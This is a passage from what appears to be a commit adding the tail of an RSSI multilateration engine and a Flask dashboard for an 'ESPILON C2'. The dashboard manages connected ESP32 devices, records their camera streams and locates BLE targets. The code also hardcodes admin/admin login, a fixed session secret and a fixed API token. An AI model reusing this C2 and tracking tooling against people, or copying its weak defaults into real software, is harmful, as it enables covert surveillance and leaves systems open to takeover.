|
||||
Parse raw MLAT data from HTTP POST.
|
||||
|
||||
Format: SCANNER_ID;(lat,lon);rssi
|
||||
Example: ESP3;(48.8566,2.3522);-45
|
||||
|
||||
Args:
|
||||
raw_data: Raw text data with one or more readings
|
||||
|
||||
Returns:
|
||||
Number of readings successfully processed
|
||||
"""
|
||||
pattern = re.compile(r'^(\w+);\(([0-9.+-]+),([0-9.+-]+)\);(-?\d+)$')
|
||||
count = 0
|
||||
timestamp = time.time()
|
||||
|
||||
for line in raw_data.strip().split('\n'):
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
|
||||
match = pattern.match(line)
|
||||
if match:
|
||||
scanner_id = match.group(1)
|
||||
lat = float(match.group(2))
|
||||
lon = float(match.group(3))
|
||||
rssi = int(match.group(4))
|
||||
|
||||
self.add_reading_gps(scanner_id, lat, lon, rssi, timestamp)
|
||||
count += 1
|
||||
|
||||
return count
|
||||
|
||||
def add_reading_gps(self, scanner_id: str, lat: float, lon: float, rssi: int, timestamp: float = None):
|
||||
"""
|
||||
Add a new RSSI reading from a scanner with GPS coordinates.
|
||||
|
||||
Args:
|
||||
scanner_id: Unique identifier for the scanner
|
||||
lat: Latitude of the scanner
|
||||
lon: Longitude of the scanner
|
||||
rssi: RSSI value (negative dBm)
|
||||
timestamp: Reading timestamp (defaults to current time)
|
||||
"""
|
||||
if timestamp is None:
|
||||
timestamp = time.time()
|
||||
|
||||
if scanner_id not in self.scanners:
|
||||
self.scanners[scanner_id] = {
|
||||
"position": {"lat": lat, "lon": lon},
|
||||
"rssi_history": [],
|
||||
"last_seen": timestamp
|
||||
}
|
||||
|
||||
scanner = self.scanners[scanner_id]
|
||||
scanner["position"] = {"lat": lat, "lon": lon}
|
||||
scanner["rssi_history"].append(rssi)
|
||||
scanner["last_seen"] = timestamp
|
||||
|
||||
# Keep only recent readings for smoothing
|
||||
if len(scanner["rssi_history"]) > self.smoothing_window:
|
||||
scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:]
|
||||
|
||||
self._coord_mode = 'gps'
|
||||
|
||||
def add_reading(self, scanner_id: str, x: float, y: float, rssi: int, timestamp: float = None):
|
||||
"""
|
||||
Add a new RSSI reading from a scanner with local coordinates.
|
||||
|
||||
Args:
|
||||
scanner_id: Unique identifier for the scanner
|
||||
x: X coordinate of the scanner (meters)
|
||||
y: Y coordinate of the scanner (meters)
|
||||
rssi: RSSI value (negative dBm)
|
||||
timestamp: Reading timestamp (defaults to current time)
|
||||
"""
|
||||
if timestamp is None:
|
||||
timestamp = time.time()
|
||||
|
||||
if scanner_id not in self.scanners:
|
||||
self.scanners[scanner_id] = {
|
||||
"position": {"x": x, "y": y},
|
||||
"rssi_history": [],
|
||||
"last_seen": timestamp
|
||||
}
|
||||
|
||||
scanner = self.scanners[scanner_id]
|
||||
scanner["position"] = {"x": x, "y": y}
|
||||
scanner["rssi_history"].append(rssi)
|
||||
scanner["last_seen"] = timestamp
|
||||
|
||||
if len(scanner["rssi_history"]) > self.smoothing_window:
|
||||
scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:]
|
||||
|
||||
self._coord_mode = 'local'
|
||||
|
||||
def rssi_to_distance(self, rssi: float) -> float:
|
||||
"""
|
||||
Convert RSSI to estimated distance using log-distance path loss model.
|
||||
|
||||
d = 10^((RSSI_1m - RSSI) / (10 * n))
|
||||
|
||||
Args:
|
||||
rssi: RSSI value (negative dBm)
|
||||
|
||||
Returns:
|
||||
Estimated distance in meters
|
||||
"""
|
||||
return 10 ** ((self.rssi_at_1m - rssi) / (10 * self.path_loss_n))
|
||||
|
||||
def calculate_position(self) -> dict:
|
||||
"""
|
||||
Calculate target position using multilateration.
|
||||
|
||||
Requires at least 3 active scanners with recent readings.
|
||||
Uses weighted least squares optimization.
|
||||
|
||||
Returns:
|
||||
dict with position, confidence, and scanner info, or error
|
||||
"""
|
||||
# Get active scanners (those with readings)
|
||||
active_scanners = [
|
||||
(sid, s) for sid, s in self.scanners.items()
|
||||
if s["rssi_history"]
|
||||
]
|
||||
|
||||
if len(active_scanners) < 3:
|
||||
return {
|
||||
"error": f"Need at least 3 active scanners (have {len(active_scanners)})",
|
||||
"scanners_count": len(active_scanners)
|
||||
}
|
||||
|
||||
# Determine coordinate mode from first scanner
|
||||
first_pos = active_scanners[0][1]["position"]
|
||||
is_gps = "lat" in first_pos
|
||||
|
||||
# Prepare data arrays
|
||||
positions = []
|
||||
distances = []
|
||||
weights = []
|
||||
|
||||
# Reference point for GPS conversion (centroid)
|
||||
if is_gps:
|
||||
ref_lat = sum(s["position"]["lat"] for _, s in active_scanners) / len(active_scanners)
|
||||
ref_lon = sum(s["position"]["lon"] for _, s in active_scanners) / len(active_scanners)
|
||||
|
||||
for scanner_id, scanner in active_scanners:
|
||||
pos = scanner["position"]
|
||||
|
||||
if is_gps:
|
||||
# Convert GPS to local meters relative to reference
|
||||
x = self.haversine_distance(ref_lat, ref_lon, ref_lat, pos["lon"])
|
||||
if pos["lon"] < ref_lon:
|
||||
x = -x
|
||||
y = self.haversine_distance(ref_lat, ref_lon, pos["lat"], ref_lon)
|
||||
if pos["lat"] < ref_lat:
|
||||
y = -y
|
||||
else:
|
||||
x, y = pos["x"], pos["y"]
|
||||
|
||||
# Average RSSI for noise reduction
|
||||
avg_rssi = sum(scanner["rssi_history"]) / len(scanner["rssi_history"])
|
||||
distance = self.rssi_to_distance(avg_rssi)
|
||||
|
||||
positions.append([x, y])
|
||||
distances.append(distance)
|
||||
|
||||
# Weight by signal strength (stronger signal = more reliable)
|
||||
weights.append(1.0 / (abs(avg_rssi) ** 2))
|
||||
|
||||
positions = np.array(positions)
|
||||
distances = np.array(distances)
|
||||
weights = np.array(weights)
|
||||
weights = weights / weights.sum()
|
||||
|
||||
# Cost function
|
||||
def cost_function(point):
|
||||
x, y = point
|
||||
estimated_distances = np.sqrt((positions[:, 0] - x)**2 + (positions[:, 1] - y)**2)
|
||||
errors = (estimated_distances - distances) ** 2
|
||||
return np.sum(weights * errors)
|
||||
|
||||
# Initial guess: weighted centroid
|
||||
x0 = np.sum(weights * positions[:, 0])
|
||||
y0 = np.sum(weights * positions[:, 1])
|
||||
|
||||
# Optimize
|
||||
result = minimize(cost_function, [x0, y0], method='L-BFGS-B')
|
||||
|
||||
if result.success:
|
||||
target_x, target_y = result.x
|
||||
confidence = 1.0 / (1.0 + result.fun)
|
||||
|
||||
if is_gps:
|
||||
# Convert back to GPS
|
||||
delta_lat, delta_lon = self.meters_to_degrees(1, ref_lat)
|
||||
target_lat = ref_lat + target_y * delta_lat
|
||||
target_lon = ref_lon + target_x * delta_lon
|
||||
|
||||
self._last_target = {
|
||||
"lat": round(float(target_lat), 6),
|
||||
"lon": round(float(target_lon), 6)
|
||||
}
|
||||
else:
|
||||
self._last_target = {
|
||||
"x": round(float(target_x), 2),
|
||||
"y": round(float(target_y), 2)
|
||||
}
|
||||
|
||||
self._last_calculation = time.time()
|
||||
|
||||
return {
|
||||
"position": self._last_target,
|
||||
"confidence": round(float(confidence), 3),
|
||||
"scanners_used": len(active_scanners),
|
||||
"calculated_at": self._last_calculation
|
||||
}
|
||||
else:
|
||||
return {
|
||||
"error": "Optimization failed",
|
||||
"details": result.message
|
||||
}
|
||||
|
||||
def get_state(self) -> dict:
|
||||
"""
|
||||
Get the current state of the MLAT system.
|
||||
|
||||
Returns:
|
||||
dict with scanner info and last target position
|
||||
"""
|
||||
now = time.time()
|
||||
scanners_data = []
|
||||
|
||||
for scanner_id, scanner in self.scanners.items():
|
||||
avg_rssi = None
|
||||
distance = None
|
||||
|
||||
if scanner["rssi_history"]:
|
||||
avg_rssi = sum(scanner["rssi_history"]) / len(scanner["rssi_history"])
|
||||
distance = round(self.rssi_to_distance(avg_rssi), 2)
|
||||
avg_rssi = round(avg_rssi, 1)
|
||||
|
||||
scanners_data.append({
|
||||
"id": scanner_id,
|
||||
"position": scanner["position"],
|
||||
"last_rssi": avg_rssi,
|
||||
"estimated_distance": distance,
|
||||
"last_seen": scanner["last_seen"],
|
||||
"age_seconds": round(now - scanner["last_seen"], 1)
|
||||
})
|
||||
|
||||
result = {
|
||||
"scanners": scanners_data,
|
||||
"scanners_count": len(scanners_data),
|
||||
"target": None,
|
||||
"config": {
|
||||
"rssi_at_1m": self.rssi_at_1m,
|
||||
"path_loss_n": self.path_loss_n,
|
||||
"smoothing_window": self.smoothing_window
|
||||
},
|
||||
"coord_mode": self._coord_mode
|
||||
}
|
||||
|
||||
# Add target if available
|
||||
if self._last_target and (now - self._last_calculation) < 60:
|
||||
result["target"] = {
|
||||
"position": self._last_target,
|
||||
"calculated_at": self._last_calculation,
|
||||
"age_seconds": round(now - self._last_calculation, 1)
|
||||
}
|
||||
|
||||
return result
|
||||
|
||||
def update_config(self, rssi_at_1m: float = None, path_loss_n: float = None, smoothing_window: int = None):
|
||||
"""
|
||||
Update MLAT configuration parameters.
|
||||
|
||||
Args:
|
||||
rssi_at_1m: New RSSI at 1m value
|
||||
path_loss_n: New path loss exponent
|
||||
smoothing_window: New smoothing window size
|
||||
"""
|
||||
if rssi_at_1m is not None:
|
||||
self.rssi_at_1m = rssi_at_1m
|
||||
if path_loss_n is not None:
|
||||
self.path_loss_n = path_loss_n
|
||||
if smoothing_window is not None:
|
||||
self.smoothing_window = max(1, smoothing_window)
|
||||
|
||||
def clear(self):
|
||||
"""Clear all scanner data and reset state."""
|
||||
self.scanners.clear()
|
||||
self._last_target = None
|
||||
self._last_calculation = 0
|
||||
387
tools/c2/web/server.py
Normal file
387
tools/c2/web/server.py
Normal file
@ -0,0 +1,387 @@
|
||||
"""Unified Flask web server for ESPILON C2 dashboard."""
|
||||
|
||||
import os
|
||||
import logging
|
||||
import threading
|
||||
import time
|
||||
from functools import wraps
|
||||
from typing import Optional
|
||||
|
||||
from flask import Flask, render_template, send_from_directory, request, redirect, url_for, session, jsonify
|
||||
from werkzeug.serving import make_server
|
||||
|
||||
from .mlat import MlatEngine
|
||||
|
||||
# Disable Flask/Werkzeug request logging
|
||||
logging.getLogger('werkzeug').setLevel(logging.ERROR)
|
||||
|
||||
|
||||
class UnifiedWebServer:
|
||||
"""
|
||||
Unified Flask-based web server for ESPILON C2.
|
||||
|
||||
Provides:
|
||||
- Dashboard: View connected ESP32 devices
|
||||
- Cameras: View live camera streams with recording
|
||||
- Trilateration: Visualize BLE device positioning
|
||||
"""
|
||||
|
||||
def __init__(self,
|
||||
host: str = "0.0.0.0",
|
||||
port: int = 8000,
|
||||
image_dir: str = "static/streams",
|
||||
username: str = "admin",
|
||||
password: str = "admin",
|
||||
secret_key: str = "change_this_for_prod",
|
||||
multilat_token: str = "multilat_secret_token",
|
||||
device_registry=None,
|
||||
mlat_engine: Optional[MlatEngine] = None,
|
||||
camera_receiver=None):
|
||||
"""
|
||||
Initialize the unified web server.
|
||||
|
||||
Args:
|
||||
host: Host to bind the server
|
||||
port: Port for the web server
|
||||
image_dir: Directory containing camera frame images
|
||||
username: Login username
|
||||
password: Login password
|
||||
secret_key: Flask session secret key
|
||||
multilat_token: Bearer token for MLAT API
|
||||
device_registry: DeviceRegistry instance for device listing
|
||||
mlat_engine: MlatEngine instance (created if None)
|
||||
camera_receiver: UDPReceiver instance for camera control
|
||||
"""
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.image_dir = image_dir
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.secret_key = secret_key
|
||||
self.multilat_token = multilat_token
|
||||
self.device_registry = device_registry
|
||||
self.mlat = mlat_engine or MlatEngine()
|
||||
self.camera_receiver = camera_receiver
|
||||
|
||||
# Ensure image directory exists
|
||||
c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
full_image_dir = os.path.join(c2_root, self.image_dir)
|
||||
os.makedirs(full_image_dir, exist_ok=True)
|
||||
|
||||
self._app = self._create_app()
|
||||
self._server = None
|
||||
self._thread = None
|
||||
|
||||
def set_camera_receiver(self, receiver):
|
||||
"""Set the camera receiver after initialization."""
|
||||
self.camera_receiver = receiver
|
||||
|
||||
@property
|
||||
def is_running(self) -> bool:
|
||||
return self._thread is not None and self._thread.is_alive()
|
||||
|
||||
def _create_app(self) -> Flask:
|
||||
"""Create and configure the Flask application."""
|
||||
c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
template_dir = os.path.join(c2_root, "templates")
|
||||
static_dir = os.path.join(c2_root, "static")
|
||||
|
||||
app = Flask(__name__,
|
||||
template_folder=template_dir,
|
||||
static_folder=static_dir)
|
||||
app.secret_key = self.secret_key
|
||||
|
||||
web_server = self
|
||||
|
||||
# ========== Auth Decorators ==========
|
||||
|
||||
def require_login(f):
|
||||
@wraps(f)
|
||||
def decorated(*args, **kwargs):
|
||||
if not session.get("logged_in"):
|
||||
return redirect(url_for("login"))
|
||||
return f(*args, **kwargs)
|
||||
return decorated
|
||||
|
||||
def require_api_auth(f):
|
||||
@wraps(f)
|
||||
def decorated(*args, **kwargs):
|
||||
if session.get("logged_in"):
|
||||
return f(*args, **kwargs)
|
||||
|
||||
auth_header = request.headers.get("Authorization", "")
|
||||
if auth_header.startswith("Bearer "):
|
||||
token = auth_header[7:]
|
||||
if token == web_server.multilat_token:
|
||||
return f(*args, **kwargs)
|
||||
|
||||
return jsonify({"error": "Unauthorized"}), 401
|
||||
return decorated
|
||||
|
||||
# ========== Auth Routes ==========
|
||||
|
||||
@app.route("/login", methods=["GET", "POST"])
|
||||
def login():
|
||||
error = None
|
||||
if request.method == "POST":
|
||||
username = request.form.get("username")
|
||||
password = request.form.get("password")
|
||||
if username == web_server.username and password == web_server.password:
|
||||
session["logged_in"] = True
|
||||
return redirect(url_for("dashboard"))
|
||||
else:
|
||||
error = "Invalid credentials."
|
||||
return render_template("login.html", error=error)
|
||||
|
||||
@app.route("/logout")
|
||||
def logout():
|
||||
session.pop("logged_in", None)
|
||||
return redirect(url_for("login"))
|
||||
|
||||
# ========== Page Routes ==========
|
||||
|
||||
@app.route("/")
|
||||
@require_login
|
||||
def index():
|
||||
return redirect(url_for("dashboard"))
|
||||
|
||||
@app.route("/dashboard")
|
||||
@require_login
|
||||
def dashboard():
|
||||
return render_template("dashboard.html", active_page="dashboard")
|
||||
|
||||
@app.route("/cameras")
|
||||
@require_login
|
||||
def cameras():
|
||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||
try:
|
||||
image_files = sorted([
|
||||
f for f in os.listdir(full_image_dir)
|
||||
if f.endswith(".jpg")
|
||||
])
|
||||
except FileNotFoundError:
|
||||
image_files = []
|
||||
|
||||
return render_template("cameras.html", active_page="cameras", image_files=image_files)
|
||||
|
||||
@app.route("/mlat")
|
||||
@require_login
|
||||
def mlat():
|
||||
return render_template("mlat.html", active_page="mlat")
|
||||
|
||||
# ========== Static Files ==========
|
||||
|
||||
@app.route("/streams/<filename>")
|
||||
@require_login
|
||||
def stream_image(filename):
|
||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||
return send_from_directory(full_image_dir, filename)
|
||||
|
||||
@app.route("/recordings/<filename>")
|
||||
@require_login
|
||||
def download_recording(filename):
|
||||
recordings_dir = os.path.join(c2_root, "static", "recordings")
|
||||
return send_from_directory(recordings_dir, filename, as_attachment=True)
|
||||
|
||||
# ========== Device API ==========
|
||||
|
||||
@app.route("/api/devices")
|
||||
@require_api_auth
|
||||
def api_devices():
|
||||
if web_server.device_registry is None:
|
||||
return jsonify({"error": "Device registry not available", "devices": []})
|
||||
|
||||
now = time.time()
|
||||
devices = []
|
||||
|
||||
for d in web_server.device_registry.all():
|
||||
devices.append({
|
||||
"id": d.id,
|
||||
"ip": d.address[0] if d.address else "unknown",
|
||||
"port": d.address[1] if d.address else 0,
|
||||
"status": d.status,
|
||||
"connected_at": d.connected_at,
|
||||
"last_seen": d.last_seen,
|
||||
"connected_for_seconds": round(now - d.connected_at, 1),
|
||||
"last_seen_ago_seconds": round(now - d.last_seen, 1)
|
||||
})
|
||||
|
||||
return jsonify({
|
||||
"devices": devices,
|
||||
"count": len(devices)
|
||||
})
|
||||
|
||||
# ========== Camera API ==========
|
||||
|
||||
@app.route("/api/cameras")
|
||||
@require_api_auth
|
||||
def api_cameras():
|
||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||
try:
|
||||
cameras = [
|
||||
f.replace(".jpg", "")
|
||||
for f in os.listdir(full_image_dir)
|
||||
if f.endswith(".jpg")
|
||||
]
|
||||
except FileNotFoundError:
|
||||
cameras = []
|
||||
|
||||
# Add recording status if receiver available
|
||||
result = {"cameras": [], "count": len(cameras)}
|
||||
for cam_id in cameras:
|
||||
cam_info = {"id": cam_id, "recording": False}
|
||||
if web_server.camera_receiver:
|
||||
status = web_server.camera_receiver.get_recording_status(cam_id)
|
||||
cam_info["recording"] = status.get("recording", False)
|
||||
cam_info["filename"] = status.get("filename")
|
||||
result["cameras"].append(cam_info)
|
||||
|
||||
result["count"] = len(result["cameras"])
|
||||
return jsonify(result)
|
||||
|
||||
# ========== Recording API ==========
|
||||
|
||||
@app.route("/api/recording/start/<camera_id>", methods=["POST"])
|
||||
@require_api_auth
|
||||
def api_recording_start(camera_id):
|
||||
if not web_server.camera_receiver:
|
||||
return jsonify({"error": "Camera receiver not available"}), 503
|
||||
|
||||
result = web_server.camera_receiver.start_recording(camera_id)
|
||||
if "error" in result:
|
||||
return jsonify(result), 400
|
||||
return jsonify(result)
|
||||
|
||||
@app.route("/api/recording/stop/<camera_id>", methods=["POST"])
|
||||
@require_api_auth
|
||||
def api_recording_stop(camera_id):
|
||||
if not web_server.camera_receiver:
|
||||
return jsonify({"error": "Camera receiver not available"}), 503
|
||||
|
||||
result = web_server.camera_receiver.stop_recording(camera_id)
|
||||
if "error" in result:
|
||||
return jsonify(result), 400
|
||||
return jsonify(result)
|
||||
|
||||
@app.route("/api/recording/status")
|
||||
@require_api_auth
|
||||
def api_recording_status():
|
||||
if not web_server.camera_receiver:
|
||||
return jsonify({"error": "Camera receiver not available"}), 503
|
||||
|
||||
camera_id = request.args.get("camera_id")
|
||||
return jsonify(web_server.camera_receiver.get_recording_status(camera_id))
|
||||
|
||||
@app.route("/api/recordings")
|
||||
@require_api_auth
|
||||
def api_recordings_list():
|
||||
if not web_server.camera_receiver:
|
||||
return jsonify({"recordings": []})
|
||||
|
||||
return jsonify({"recordings": web_server.camera_receiver.list_recordings()})
|
||||
|
||||
# ========== Trilateration API ==========
|
||||
|
||||
@app.route("/api/mlat/collect", methods=["POST"])
|
||||
@require_api_auth
|
||||
def api_mlat_collect():
|
||||
raw_data = request.get_data(as_text=True)
|
||||
count = web_server.mlat.parse_data(raw_data)
|
||||
|
||||
if count > 0:
|
||||
web_server.mlat.calculate_position()
|
||||
|
||||
return jsonify({
|
||||
"status": "ok",
|
||||
"readings_processed": count
|
||||
})
|
||||
|
||||
@app.route("/api/mlat/state")
|
||||
@require_api_auth
|
||||
def api_mlat_state():
|
||||
state = web_server.mlat.get_state()
|
||||
|
||||
if state["target"] is None and state["scanners_count"] >= 3:
|
||||
result = web_server.mlat.calculate_position()
|
||||
if "position" in result:
|
||||
state["target"] = {
|
||||
"position": result["position"],
|
||||
"confidence": result.get("confidence", 0),
|
||||
"calculated_at": result.get("calculated_at", time.time()),
|
||||
"age_seconds": 0
|
||||
}
|
||||
|
||||
return jsonify(state)
|
||||
|
||||
@app.route("/api/mlat/config", methods=["GET", "POST"])
|
||||
@require_api_auth
|
||||
def api_mlat_config():
|
||||
if request.method == "POST":
|
||||
data = request.get_json() or {}
|
||||
web_server.mlat.update_config(
|
||||
rssi_at_1m=data.get("rssi_at_1m"),
|
||||
path_loss_n=data.get("path_loss_n"),
|
||||
smoothing_window=data.get("smoothing_window")
|
||||
)
|
||||
|
||||
return jsonify({
|
||||
"rssi_at_1m": web_server.mlat.rssi_at_1m,
|
||||
"path_loss_n": web_server.mlat.path_loss_n,
|
||||
"smoothing_window": web_server.mlat.smoothing_window
|
||||
})
|
||||
|
||||
@app.route("/api/mlat/clear", methods=["POST"])
|
||||
@require_api_auth
|
||||
def api_mlat_clear():
|
||||
web_server.mlat.clear()
|
||||
return jsonify({"status": "ok"})
|
||||
|
||||
# ========== Stats API ==========
|
||||
|
||||
@app.route("/api/stats")
|
||||
@require_api_auth
|
||||
def api_stats():
|
||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||
try:
|
||||
camera_count = len([
|
||||
f for f in os.listdir(full_image_dir)
|
||||
if f.endswith(".jpg")
|
||||
])
|
||||
except FileNotFoundError:
|
||||
camera_count = 0
|
||||
|
||||
device_count = 0
|
||||
if web_server.device_registry:
|
||||
device_count = len(list(web_server.device_registry.all()))
|
||||
|
||||
multilat_state = web_server.mlat.get_state()
|
||||
|
||||
return jsonify({
|
||||
"active_cameras": camera_count,
|
||||
"connected_devices": device_count,
|
||||
"multilateration_scanners": multilat_state["scanners_count"],
|
||||
"server_running": True
|
||||
})
|
||||
|
||||
return app
|
||||
|
||||
def start(self) -> bool:
|
||||
"""Start the web server in a background thread."""
|
||||
if self.is_running:
|
||||
return False
|
||||
|
||||
self._server = make_server(self.host, self.port, self._app, threaded=True)
|
||||
self._thread = threading.Thread(target=self._server.serve_forever, daemon=True)
|
||||
self._thread.start()
|
||||
return True
|
||||
|
||||
def stop(self):
|
||||
"""Stop the web server."""
|
||||
if self._server:
|
||||
self._server.shutdown()
|
||||
self._server = None
|
||||
self._thread = None
|
||||
|
||||
def get_url(self) -> str:
|
||||
"""Get the server URL."""
|
||||
return f"http://{self.host}:{self.port}"
|
||||
Loading…
Reference in New Issue
Block a user